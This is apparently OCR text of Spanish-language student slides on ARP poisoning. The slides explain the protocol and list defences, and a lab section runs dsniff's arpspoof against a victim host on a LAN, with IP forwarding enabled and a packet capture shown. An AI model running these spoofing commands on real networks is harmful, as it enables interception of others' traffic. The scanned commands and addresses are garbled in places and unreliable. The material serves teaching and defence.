Seguridad de la informacion

Envenenamiento Protocolo ARP

Stephanie Salazar
Paola Yang
Mauricio Munoz




Adress Resolution Protocol

(Protocolo de Resolucion de Direccion)

e Protocolo de la capa de enlace en TCP

e Responsable de asociar una direccion MAC
correspondiente a una determinada direccion IP

El router guarda la informacion en una tabla ARP

Direccion IP Direccion MAC T

222.222.222.22 86-82-2F-54-1 A-0F 13:45:00
222.222.222.273 5C-66-AB-90-7581 13:52:00




ARP Request

Source IP: 192.168.0.101
Source: MAC: 12:f2:F2:12:f2:12
Target IP: 192.168.0.1
Target MAC: 00:00:00:00:00:00

ARP Response

<
Source IP: 192.168.0.1

Source: MAC: 02:f2:02:f2:02:f2
Target IP: 192.168.0.101
Target MAC: 2:f2:12:12:f2:12




s la suplantacion de la identidad de un computador
jeno, obteniendo acceso que en condiciones normales
tendria restringido.
-Activo: El intruso interfiere con el trafico legitimo
que fluye a través de la red.
-Pasivo: El intruso monitorea el trafico de la red.




Se refiere a la transmision de una tabla ARP
“envenenada”, es decir, una tabla donde se asocia la
MAC del atacante con la IP de otro host dentro de la

LAN, esto con el objetivo de captar el trafico IP entre
ellos




Envenenamiento ARP: Idea

Normal Traffic Pattern

Poisoned ARP Cache

Target Computer Switch Router




-Tablas ARP estaticas

-DHCP Snooping

-Reverse ARP



Practica

[ root@hyundai ~1# yum install dsniff

omplementos cargados:langpacks, refresh-packagekit

adobe-1inux-x86_64
pdates
pdates/20/x86_64/primary_db
: updates/20/x86_64/updateinfo
: updates/20/x86_64/pkgtags
: adobe-linux-x86_64/primary
adobe-1inux-x86 64




Permitir IP forwarding dentro del terminal atacante:
este paso es esencial ya que de no permitirse el IP
forwarding los paquetes recibidos desde la terminal
victima no se transmiten al router o viceversa y son
descartados, lo que desencadena un ataque de
denegacion de servicio.

e echo 1> /proc/sys/net/ipv4/ip_forward

[ root@hyundai ~]# echo 1 > /proc/sys/net/ipv4/ip forward
[ root@hyundai ~]# |



arpspoof -i p4p1 -t 10.10.14.106 10.10.14.1

-1 indica la interfaz de red a ocupar en la terminal
atacante (p4p1).

-t indica la terminal victima, en este caso otro
computador dentro de la red (10.10.14.106).
Finalmente se indica la direccion que se va a
suplantar, en este caso 10.10.14.1




root@hyundai ~)# arpspoof -i pdpl -t 10.16.14.
:e0:4c:68:
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[labit@iplG6 ~]$ ping 10.16.14.1

PING 16.10.14.1 (10.10.14.1) 56(84) bytes of data.
64 bytes from 10.16.14.1: icmp_seq=1l tt1=64 time=0.
64 bytes from ¢ lcmp_seq=2 ttl=64 time=0.
64 bytes from : icmp_seq=3 ttl=64 time=0.
64 bytes from .1: lcmp_seq=4 ttl=64 time=0.
64 bytes from : icmp_seq=5 ttl=64 time=0.
64 bytes from ¢ lcmp_seq=6 ttl=64 time=0.
64 bytes from .1: icmp_seq=7 ttl=64 time=0.
64 bytes from : lcmp_seq=8 ttl=64 time=0.
64 bytes from : lcmp_seq=9 ttl=64 time=0.
64 bytes from .1: icmp_seq=10 ttl=64 time=0.
64 bytes from .1: icmp_seq=11 ttl=64 time=0.
64 bytes from ¢ lemp_seq=12 ttl=64 time=0.
64 bytes from .1: icmp_seq=13 ttl=64 time=0.
64 bytes from ¢ lcmp_seq=14 ttl=64 time=0.
64 bytes from ! icmp_seqg=15 tt1=64 time=0.
64 bytes from : lcmp_seq=16 ttl=64 time=0.
64 bytes from 1 icmp_seq=17 ttl=64 time=G.
64 bytes from : lcmp_seq=18 ttl=64 time=0.
64 bytes from : icmp_seq=19 ttl=64 time=0.
64 bytes from .1: lcmp_seq=20 ttl=64 time=0.
64 bytes from : icmp_seq=21 tt1=64 time=0.
64 bytes from .1: lcmp seq=22 ttl1=64 time=06.
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Time
1 0.000000000
2 0.000021000
3 0.209594000
4 0.209621000
S 0.996460000
6 0.999598000
7 1.000735000
8 1.069353000
9 1.209580000
10 1.209641000
11 1.864042000
12 1.996480000
13 1.997751000
14 1.599880000
15 2. 209600000
16 2.209665000
17 2.996640000
18 3,209571000
19 3.209635000
20 3.864275000
21 3.994902000
22 3.997157000
23 4.209551000
24 4, 209606000

0:4cff:fe68:dad
feB0: :2e0: 4cff:fe68:352
10.10.14.106
10.10.14.106
feB0::2:0:4cff:fe68:e8e
fes0: :2e0: 4cff:fe68:ddc
feB0::2e0:4cff:fe6B:342
fes0::2e0:4cff:fe68:092
10.10.14.106
10.10.14.106
RealtekS_68:03:47
fes0::200:4cff:fe68:dfc
feB0::2e0:4cff:fe68:ded
feB0::2e0:4cff:fe68:dad
10.10.14.106
10.10.14.106
feB0::2:0:4cff:fe68:dab
10.10.14.106
10.10.14.106
RealteksS_68:03:47
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ffo2::2
10.10.14.1
10.10.14.1
ffo2::2

ffo2::2

ffo2::2

ffoz::2
10.10.14.1
10.10.14.1
Micro-St_72:41:15
ffo2::2
ff02::2
ffo2::2

10.10.1
10.10.1
ffo2::2
10.10.14.1
10.10.14.1
Micro-St_72:41:fS
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feB0::468a:5bff:fe72:3ccff02::2

feB0: :2e0:4cff:fab68:347
10.10.14.106
10.10.14.106

ffo2::2
10.10.1

Protoce Lengtl Info

ICMPVE

62 Router Solicitation
62 Router Solicitation
98 Echo (ping) request
98 Echo (ping) request
62 Router Solicitation
62 Router Solicitation
62 Router Solicitation
62 Router Solicitation
o8 Echo (ping) request
o8 Echo (ping) request

1d=0x1142, seq=28/7168,
1d=0x1142, seq=28/7168,

1d=0x1142, seq=29/7424,
1d=0x1142, seq=29/7424,

42 10.10.14.1 1s at 00:e0:4c:68:03:47

62 Router Solicitation
62 Router Solicitation
62 Router Solicitation
98 Echo (ping) request
98 Echo (ping) request
62 Router Solicitation
98 Echo (ping) request
98 Echo (ping) request

1d=0x1142, seq=30/7680,
1d=0x1142, seq=30/7680,

1d=0x1142, seq=31/7936,
1d=0x1142, seq=31/7936,

42 10.10.14.1 1s at 00:e0:4c:68:03:47

62 Router Solicitation
62 Router Solicitation
98 Echo (ping) request
98 Echo (ping) request
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1d=0x1142, seq=32/8192,
1d=0x1142, seq=32/8192,




